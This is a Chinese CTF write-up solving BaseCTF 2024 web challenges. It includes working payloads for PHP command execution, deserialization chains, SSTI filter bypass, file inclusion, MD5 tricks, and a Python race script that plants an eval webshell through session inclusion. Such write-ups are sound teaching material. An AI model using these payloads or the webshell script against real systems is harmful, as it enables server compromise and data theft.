目录

BaseCTF 2024 web部分wp

# BaseCTF 2024 web部分wp

empty

# [Week1] A Dark Room

考点:信息收集

f12打开浏览器调试工具,在源码页可以看到注释的flag

1

# [Week1] Aura 酱的礼物

考点:伪协议、邮件格式

$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
    die('这是 Aura 的礼物,你不是 Aura!');
}
1
2
3
4
5

首先,file_get_contents()函数是读取文件的,所以如果你直接传Aura是错的。在php中,官方有提供一套协议,如:php://filter、php://input data:text/plain等协议。这题需要用到data:text/plain协议

用法:data:text/plain,文本内容或者data:text/plain;base64,base64编码的文本内容会把后面的内容当作文件流

所以可以使用data:text/plain,Aura来绕过

$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客!');
}
1
2
3
4
5

strpos($challenge, 'http://jasmineaura.github.io') !== 0判断变量$challenge是不是从索引0开始出现的,也就是必须以要求的字符串http://jasmineaura.github.io开头

最后

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}
1
2
3
4
5

这里,使用file_get_contents()函数读取文件内容,如果有已经收到Kengwang的礼物啦,才可以继续往下走

这个file_get_contents()函数也可以通过url地址读取文件

如果你去了这个师傅的博客,你想在博客里留言来完成这道题,那么你会无功而返,因为根本就没有留言系统

并且现在这个变量已经限制了前缀http//jasmineaura.github.io,所以只能在这个基础上继续思考

最后可以想到username@domain.com的邮箱格式,这样前缀就变成username了,file_get_contents会访问后面的url。不难发现,题目页面就有已经收到Kengwang的礼物啦的字样,那么直接SSRF来构造payloadhttp://jasmineaura.github.io@127.0.0.1

最后还有一个include函数,没有限制,玩法非常多。这里讲下最简单的,使用前面讲到的php://filter协议,把文件内容读出来,这里payloadgift=php://filter/convert.base64-encode/resource=flag.php,把文件内容以base64形式读出来base64解码后得到<?php // BaseCTF{3aa10ad4-2f6c-4cd2-98c8-cd62edc43a3b}

# [Week1] HTTP 是什么呀

考点:常见的传参

题目介绍了常见的工具,这是一题很好的入门题目,出题人有心了。这题使用hackbar还是非常方便的

1、GET传参特殊字符的转义。在url里使用GET传参时,%,&,=等特殊字符有特殊语意,如:%用作url编码,&用作参数分隔符,=用作参数名和参数值的分隔符,如果你没有要传的字符,没有这些语言,需要进行url编码,避免特殊语意吃掉本意。

GET参数:参数名basectf,参数值we1c%00me,这里的%没有特殊语意,所以对%编码一次。%百分号url编码后%25

所以传参url?basectf=we1c%2500me

2、简单的post传参
BASE=fl@g

3、cookie传参,cookie中含有空格,使用url编码一下 c00k13=i%20can't%20eat%20it

4、User-Agent参数,这个字段常用来记录用户的操作系统,以及当前的浏览器(一些站点会通过user-agent字段来判断是否是爬虫,如B站)

5、Referer参数,这个字段常用来记录当前页面的来源

6、IP,常用X-Forwarded-For字段来记录用户的ip

2

提交后没有出现flag,提示已经出现过了。f12打开浏览器调试工具,在网络页可以看到某个接口返回了一串类似base64的字符串

3

base64解码拿到flag

# [Week1] md5绕过欸

考点:php特性(漏洞)

4

如果刚入门,看到题目有error_reporting(0);时,可以把题目拷到本地的环境,在本地测试,根据报错分析,可以节省很多时间

这题要求要有这四个参数,才会继续往下进行。

第一层判断:用户不等于密码,用户名,密码的md5值弱相等。

第二层判断:用户名2不等于密码2,用户名2,密码2的md5值强相等。

这里的两个判断都可以通过md5()函数无法处理数组数据来绕过

所以可以GET传参?name[]=1&name2[]=1,POST传参password[]=2&password2[]=2

# [Week1] upload

考点:php文件上传,命令执行

白送的php文件上传

假设他有过滤,先上传正经的png图片,上传后,处理文件上传的源码就出来了,没有任何过滤,且与当前的index.php在同一目录,直接上传php文件页可以解析

上传后,访问url/uploads/php文件名,看到解析的php

5

# [Week1] 喵喵喵´•ﻌ•`

考点:命令执行

简单的命令执行,没有任何过滤,白送。payload?DT=system("tac /flag");

<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['DT'];
eval($a);
?>
1
2
3
4
5
6

# [Week2] 一起吃豆豆

考点:信息收集,base64

打开题目,看起来是一个简单的静态题目,按f12没有反应,估计禁用了。还可以使用右键的检查,浏览器更多里的浏览器调试工具

打开调试工具后,使用ctrl+f(搜索)没有搜到basectf,耐心翻看源码后,发现奇怪的base64编码,解码后得到flag

6

# [Week2] 你听不到我的声音

考点:shell命令,重定向写文件

打开题目,只要简单的两行代码,其中shell_exec()函数执行系统命令,没有回显

<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);
1
2
3

通过shell指令,在同级目录下实现读写文件读取flag

payload:cmd=echo ls / > 1.txt,把ls /命令的结果写到1.txt里,访问1.txt,看到ls /的结果,可以知道flag在根目录下

payload:cmd=cat /flag > 1.txt,把flag写到1.txt里,访问1.txt,看到flag

# [Week2] RCEisamazingwithspace

考点:shell命令,空格绕过

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// 过滤空格
if (preg_match('/\s/', $cmd)) {
    echo 'Space not allowed in command';
    exit;
}
system($cmd);
1
2
3
4
5
6
7
8
9

过滤了空格,在shell命令行中,可以使用$IFS,${IFS},$IFS$9

payload:cmd=tac$IFS/flag

# [Week2] ez_ser

考点:php反序列化

看到题目源码,想想链子怎么走

点击查看
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}
class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

反序列化,先触发wakeup()方法,通过echo触发toString方法,通过$this->chu0->$nononono触发get()方法,最后调用$this->over->getflag();查看flag

$payload = new web();
$payload -> kw = new re();
$payload -> kw -> chu0 = new pwn();
$payload -> kw -> chu0 -> over = new Misc();

echo urlencode(serialize($payload));
1
2
3
4
5
6

可以打印出payload?ser=O%3A3%3A%22web%22%3A2%3A%7Bs%3A2%3A%22kw%22%3BO%3A2%3A%22re%22%3A1%3A%7Bs%3A4%3A%22chu0%22%3BO%3A3%3A%22pwn%22%3A2%3A%7Bs%3A4%3A%22dusk%22%3BN%3Bs%3A4%3A%22over%22%3BO%3A4%3A%22Misc%22%3A2%3A%7Bs%3A7%3A%22nothing%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7D%7D%7Ds%3A2%3A%22dt%22%3BN%3B%7D

# [Week2] Really EZ POP

考点:反序列化的属性

源码

点击查看
<?php
highlight_file(__FILE__);

class Sink
{
    private $cmd = 'echo 123;';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

if ($_POST['nature']) {
    $nature = unserialize($_POST['nature']);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

反序列化,链子入口:Nature的destruct方法,echo $this->sea->see;打印nature类的sea的see变量,很明显没有sea这个变量,所以触发Sea类的get方法,在get方法里调用了$sea_ani()方法,可以触发Share类的invoke方法,invoke方法里的echo触发Sink方法的toString方法,toString方法里的eval触发Sink类的cmd变量

构造:

点击查看
<?php

class Sink
{
    # 先修改为public
    public $cmd = 'echo 123;';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    # 先修改为public
    public $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

$payload = new Nature();
$payload -> sea = new Sea();
$payload -> sea -> animal = new Shark();
$payload -> sea -> animal -> word = new Sink();
$payload -> sea -> animal -> word -> cmd = system("tac /flag");

echo serialize($payload);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

这样会报错,因为php5版本对反序列化严格区分变量的pulic,private的属性。修改后运行,虽然报错,但可以得到我们期望的O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:4:"word";O:4:"Sink":1:{s:3:"cmd";s:0:"";}}}}

我们这里是通过public属性得到payload,与private属性得到的payload有区别,需要稍加修改

参考:

【php反序列化入门】 (opens new window)

7

所以private类型的变量需要修改他们的形式和长度,形式改为:%00类名%00变量名,长度为变量名长度+类名长度+2

原来,变量word,cmd是private类型的,所以修改他们在payload里的格式

O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:0:"";}}}}

最后给变量cmd添加一个值,在eval函数里执行命令

O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:10:"phpinfo();";}}}}

可以成功执行phpinfo()函数,拿flag时,把变量值和对应长度改一下

# [Week2] 所以你说你懂 MD5?

考点:md5相关绕过

我总结了一些md5绕过,这道题目也够用:【md5相关绕过】 (opens new window)

if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}
1
2
3

第一个if判断,直接使用数组绕过apple[]=1&banana[]=2

if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}
1
2
3

第二个if判断,这里会先强转为string类型再取md5值,但是使用了弱比较,可以使用md5值为0e开头的字符串

  • 240610708
  • QLTHNDT

这一组变量md5后都是0e开头的字符串appple=240610708&bananana=QLTHNDT

if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}
1
2
3

第三个if判断,使用了强比较,那么只能使用md5值相同的字符串了。可以使用fastcoll工具生成文本文件,再url编码打印

也可以使用大佬已经准备找到的字符串

  • %af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab
  • %af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

apppple=第一个值&banananana=第二个值

这里要用bp发包了,这两个数据都是url编码,hackbar发包会报错。使用bp发包后,返回了md5($random)

最后难点:md5长度扩展攻击

1、$name可控,限制了name的后缀admin
2、md5($random)已知,$random未知
3、$md5可控

要实现:md5($random . $name) == $md5

所以你需要控制$name,$md5,使这个if判断成立

【md5长度扩展攻击工具】 (opens new window)

首先需要知道长度及MD5哈希值,生成随机16位长度的字节,1byte=8bit,16byte=128bit,4个二进制数转化一个16进制数,128/4=32,32*3=96

因此$_session['random']长度为96位。

已知它的MD5值:a0057ecf237a9ac5fcae22017f2a29cd

8

最后关键验证代码md5($random . $name) !== $md5

其中$random值不可控,$name限定了后缀,$md5可控

第二步使用脚本得到的name值可以和$random在md5()函数的作用下得到新的哈希值name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=7b624b5883fb74b5e93069b459138fd9传入可以绕过验证

9

# [Week2] 数学大师

考点:python爬虫、发包

题目描述:每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整
提示:本题依赖 session,请在请求时开启 session cookie

打开页面看到:Your score is reset to 0Tell me in 3 second 7383295-7009224?

关键点:3秒,分数,50次两个数的运算。人工手动指定是不可能的

import re
import requests

url = 'http://challenge.basectf.fun:38937/'
# 创建会话
session = requests.Session()

num_pattern = r"\d{2,}"
str_pattern = r"[\+\-\×\÷]"
text = (session.get(url)).text
while True:
	num_matches = re.findall(num_pattern,text)
	str_matches = re.findall(str_pattern,text)
	num1 = int(num_matches[0])
	num2 = int(num_matches[1])
	res = 0
	if str_matches[0] == '+':
		res = num1 + num2
	elif str_matches[0] == '-':
		res = num1 - num2
	elif str_matches[0] == '×':
		res = num1 * num2
	elif str_matches[0] == '÷':
		res = num1 // num2
	data = {
	"answer": str(res),
	}
	print(data)
	resp = session.post(url,data=data)
	text = resp.text
	print(text)
	if "now 50" in text:
		print("successful!")
		break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

10

脚本跑的慢?把魔法关了,健步如飞

# [Week3] 滤个不停

考点:文件包含,session包含

<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
    die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
    if (strpos($Datch, $char) === false) {
        $is_valid = false;
        break;
    }
}

if ($is_valid) {

    $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

    foreach ($invalid_patterns as $pattern) {
        if (stripos($Datch, $pattern) !== false) {
            die('此路不通换条路试试?');
        }
    }


    include($Datch);
} else {
    die('文件名不合规 请重试');
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

很明显,一道文件包含题目。

$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
1

~这里要求文件名要有sevanxro,所以跟日志包含没关系了~,看了官方wp时,发现我最初想错了,我以为要整个sevanxro字符串要在变量值里出现,现在发现只要这些字母出现即可,所以日志包含也是可以的/var/log/nginx/access.log

所以POST:incompetent=HelloWorld&Datch=/var/log/nginx/access.log,在UA(user-agent里添加一句话木马即可)

    $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];
1

这里禁用了php伪协议,所以伪协议也不行了

还有一种方法,session包含,通过伪造文件上传的过程,在服务器创建含有恶意代码的session文件

我的往期文章【session包含】 (opens new window)

直接上脚本

import requests
import threading
import time

# 如果题目链接是https,换成http
url = 'http://challenge.basectf.fun:38890/'
sessionid = 'sevanxro'
data = {
    # session文件内容
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>',
    # session文件路径可能不同
    'incompetent': 'HelloWorld',
    'Datch': '/tmp/sess_' + sessionid,
}

file = {
    'file': sessionid
}

cookies = {
    'PHPSESSID': sessionid
}

# 上传文件函数
def upload_file():
    while True:
        response = requests.post(url, data=data, files=file, cookies=cookies)
        time.sleep(1)  # 为了避免发送请求过快,可以适当增加间隔时间

# 检查文件是否已创建
def check_file():
    while True:
        r = requests.get(url + 'shell.php')
        if r.status_code == 200:
            print('Webshell created successfully')
            print(r.text)
            break
        else:
            print('error:', r.status_code)
        # time.sleep(1)  # 为了避免发送请求过快,可以适当增加间隔时间

# 创建并启动线程
threads = []
for _ in range(5):  # 创建5个上传线程
    t = threading.Thread(target=upload_file)
    t.start()
    threads.append(t)

for _ in range(5):  # 创建5个检查线程
    t = threading.Thread(target=check_file)
    t.start()
    threads.append(t)

# 等待所有线程完成
for t in threads:
    t.join()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

很容易跑出来shell,如果很慢,先检查脚本参数是否正确,不行再试试关掉魔法或者重启容器吧

# [Week3] 复读机 【复现】

考点:SSTI

打开题目,限制了模板BaseCTF{},通过测试可以发现ban了一些符合例如"" __ . {{}} + - /等等字符,以及SSTI常用的字符串例如class,base,subclass,init,globals,popen,read,ss等等

梳理:

  • 禁用双花括号可以使用{%%}替换
  • 禁用双下划线以及常见字符串__还可以使用单引号''拼接实现
  • 禁用点.可以使用方括号[]实现

难点:
获取/

把常用的payload{{().__class__.__base__.__subclasses__()}}一点点替换到可以绕过题目的payload

构造class

BaseCTF{%set chr=''['''clas''s''''']%}{%print(chr)%}

同理构造base,subclasses,报错就换个位置拼接:

BaseCTF{%set chr=''['''clas''s''''']['''bas''e''']%}{%print(chr)%}
BaseCTF{%set chr=''['''clas''s''''']['''bas''e''']'''sub''c''l''a''s''s''e''s'''%}{%print(chr)%}

找到<class 'os._wrap_close'>的下标137,使用它的init,globals下的popen函数,read结果读出来

执行ls /失败,/被过滤

BaseCTF{%set chr=''['''clas''s''''']['''bas''e''']'''sub''c''l''a''s''s''e''s'''[137]['''in''it''']['''glob''als''']['po''pen']('ls /')'re''ad'%}{%print(chr)%}

/

查看环境变量env

BaseCTF{%set chr=''['''clas''s''''']['''bas''e''']'''sub''c''l''a''s''s''e''s'''[137]['''in''it''']['''glob''als''']'po''pen''re''ad'%}{%print(chr)%}

看到环境变量OLDPWD=/

最终payload可以这样构造:

BaseCTF{%set chr=''['''clas''s''''']['''bas''e''']'''sub''c''l''a''s''s''e''s'''[137]['''in''it''']['''glob''als''']['po''pen']('cd $OLDPWD;ls;cat flag')'re''ad'%}{%print(chr)%}

# [Week3] 玩原神玩的 【复现】

考点:?脚本编写,报文中%百分号处理,?密码学

源码:

点击查看
<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
  ys_open($_GET['tip']);
} else {
  die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
  if ($tip != "我要玩原神") {
    die("我不管,我要玩原神!😭😭😭");
  }
  dumpFlag();
}

function dumpFlag() {
  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
    die("可恶的QQ人!😡😡😡");
  }
  $a = $_POST['m'][0];
  $b = $_POST['m'][1];
  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
    die("某站崩了?肯定是某忽悠干的!😡😡😡");
  }
  include 'flag.php';
  $flag[] = array();
  for ($ii = 0;$ii < sizeof($array);$ii++) {
    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  }
  
  echo json_encode($flag);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

刚开始自己做的时候写脚本跑数组大小,刚开始我的爆破脚本

点击查看
import requests
import re

url = 'http://challenge.basectf.fun:20714/'
data = "len[0]=0"
for i in range(1,100):
    data = data + f"&len[{i}]={i}"
    resp = requests.post(url,data)
    print(data)
    # print(resp.text)
    pattern = r"我不管,我要玩原神"
    matches = re.findall(pattern,resp.text)
    print(len(matches))
    if len(matches) > 2:
        print(f"找到啦!!!\n数组长度是:{i}")
        break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

跑的怀疑人生。现在复现时发现我是sb,这个脚本里发包的data数据是长度为1的字典。爆破题目的数组大小需要传字典数据,这是改进脚本

点击查看
import requests
import re

url = 'http://challenge.basectf.fun:20714/'
data = {}
for i in range(1,100):
    # 添加字典数据长度
    data[f"len[{i}]"] = f"{i}"
    resp = requests.post(url,data)
    pattern = r"我不管,我要玩原神"
    matches = re.findall(pattern,resp.text)
    print(len(matches))
    if len(matches) == 2:
        print(f"找到啦!!!\n数组长度是:{i}")
        print(data)
        data = "len[0]=0"
        for j in range(1,i):
            data = data + f"&len[{j}]={j}"
            resp = requests.post(url,data)
        print(f"构造的len:  {data}")
        break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

可以跑出来,数组大小为45,拿脚本构造的payload直接传参。tip正常传。后面a=100%,b=100%+md5($a),注意b,也就是m[1],里面的%百分号需要转义,在百分号后再添加25,不然%百分号会和后面数字作为url编码,发包后可以拿到每一位flag和下标的异或md5值

还原flag脚本

点击查看
import hashlib

hashes = [
    "3295c76acbf4caaed33c36b1b5fc2cb1", "26657d5ff9020d2abefe558796b99584", "73278a4a86960eeb576a8fd4c9ec6997",
    "ec8956637a99787bd197eacd77acce5e", "e2c420d928d4bf8ce0ff2ec19b371514", "43ec517d68b6edd3015b3edc9a11367b",
    "ea5d2f1c4608232e07d3aa3d998e5135", "c8ffe9a587b126f152ed3d89a146b445", "44f683a84163b3523afe57c2e008bc8c",
    "093f65e080a295f8076b1c5722a46aa2", "03afdbd66e7929b125f8597834fa83a4", "698d51a19d8a121ce581499d7b701668",
    "9f61408e3afb633e50cdf1b20de6f466", "9a1158154dfa42caddbd0694a4e9bdc8", "698d51a19d8a121ce581499d7b701668",
    "093f65e080a295f8076b1c5722a46aa2", "7f39f8317fbdb1988ef4c628eba02591", "c45147dee729311ef5b5c3003946c48f",
    "07e1cd7dca89a1678042477183b7ac3f", "5fd0b37cd7dbbb00f97ba6ce92bf5add", "5fd0b37cd7dbbb00f97ba6ce92bf5add",
    "9f61408e3afb633e50cdf1b20de6f466", "e369853df766fa44e1ed0ff613f563bd", "182be0c5cdcd5072bb1864cdee4d3d6e",
    "a0a080f42e6f13b3a2df133f073095dd", "a0a080f42e6f13b3a2df133f073095dd", "b53b3a3d6ab90ce0268229151c9bde11",
    "4c56ff4ce4aaf9573aa5dff913df997a", "f7177163c833dff4b38fc8d2872f1ec6", "f7177163c833dff4b38fc8d2872f1ec6",
    "f7177163c833dff4b38fc8d2872f1ec6", "c0c7c76d30bd3dcaefc96f40275bdc0a", "7cbbc409ec990f19c78c75bd1e06f215",
    "c74d97b01eae257e44aa9d5bade97baf", "c74d97b01eae257e44aa9d5bade97baf", "70efdf2ec9b086079795c442636b55fb",
    "3c59dc048e8850243be8079a5c74d079", "735b90b4568125ed6c3f678819b6e058", "70efdf2ec9b086079795c442636b55fb",
    "c74d97b01eae257e44aa9d5bade97baf", "c74d97b01eae257e44aa9d5bade97baf", "6ea9ab1baa0efb9e19094440c317e21b",
    "02e74f10e0327ad868d138f2b4fdd6f0", "35f4a8d465e6e1edc05f3d8ab658c551", "43ec517d68b6edd3015b3edc9a11367b"
]
flag = ''
for index, char in enumerate(hashes):
    for flag_char in range(0, 256):
        if (hashlib.md5(str(flag_char).encode("UTF-8")).hexdigest()) == char:
            # 拿到ascll
            print(flag_char)
            part = flag_char ^ index
            flag = flag + chr(part)
            break
print(flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# [Week3] ez_php_jail 【复现】

考点:敏感函数

后悔当时没看了,好像挺简单的。题目源码

点击查看
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
    if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
        return false;
    }
    return true;
}

if (Like_Jail($Jail)) {
    eval($Jail);
    echo "Yes! you escaped from the jail! LOL!";
} else {
    echo "You will Jail in your life!";
}
echo "\n";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

题目GET接收参数$Jail = $_GET['Jail_by.Happy'];,这个参数名中同时含有_``.下划线和点,在php中,这两个同时出现,且下划线在前的时候,需要把下划线写成[左方括号,不然后端接收不到

在这题的源码里,有一个base64,解码是一个phpinfo()的页面,没什么用

在下面的eval函数里,过滤了反引号,美元符,a,c,s,require,include。官方wp使用highlight_file函数和glob()函数,扫描并高亮显示flag

函数作用

highlight_file 高亮显示文件内容 glob 扫描路径文件,返回一个数组

payload:?Jail[by.Happy=highlight_file(glob('/fl?g')[0])

# [Week4] flag直接读取不就行了?

考点:原生类

源码

<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
echo new $J1ng($Hong);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14

两处关键点:$dir = new $Keng($Wang);echo new $J1ng($Hong);

原生类第一次使用,扫描文件夹并打印

foreach($dir as $f) {
    echo($f . '<br>');
}
1
2
3

payload:?K=DirectoryIterator&W=/secret

拿到flag文件名f11444g.php

原生类第二次使用,读取文件内容

payload:J=SplFileObject&H=php://filter/convert.base64-encode/resource=/secret/f11444g.php

# [Fin] RCE or Sql inject 【复现】

题目源码

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query); 
1
2
3
4
5
6
7
8
9
10
11

题目提示,在mysql里输入问号,会提示关于题目的解法。题目的sql语句最后把拼接部分注释了,使用换行逃逸出来

12

mysql执行?的回显system (\!) Execute a system shell command.,在mysql里可以直接使用system执行系统命令

那这题就可以直接url?sql=%0asystem env

121

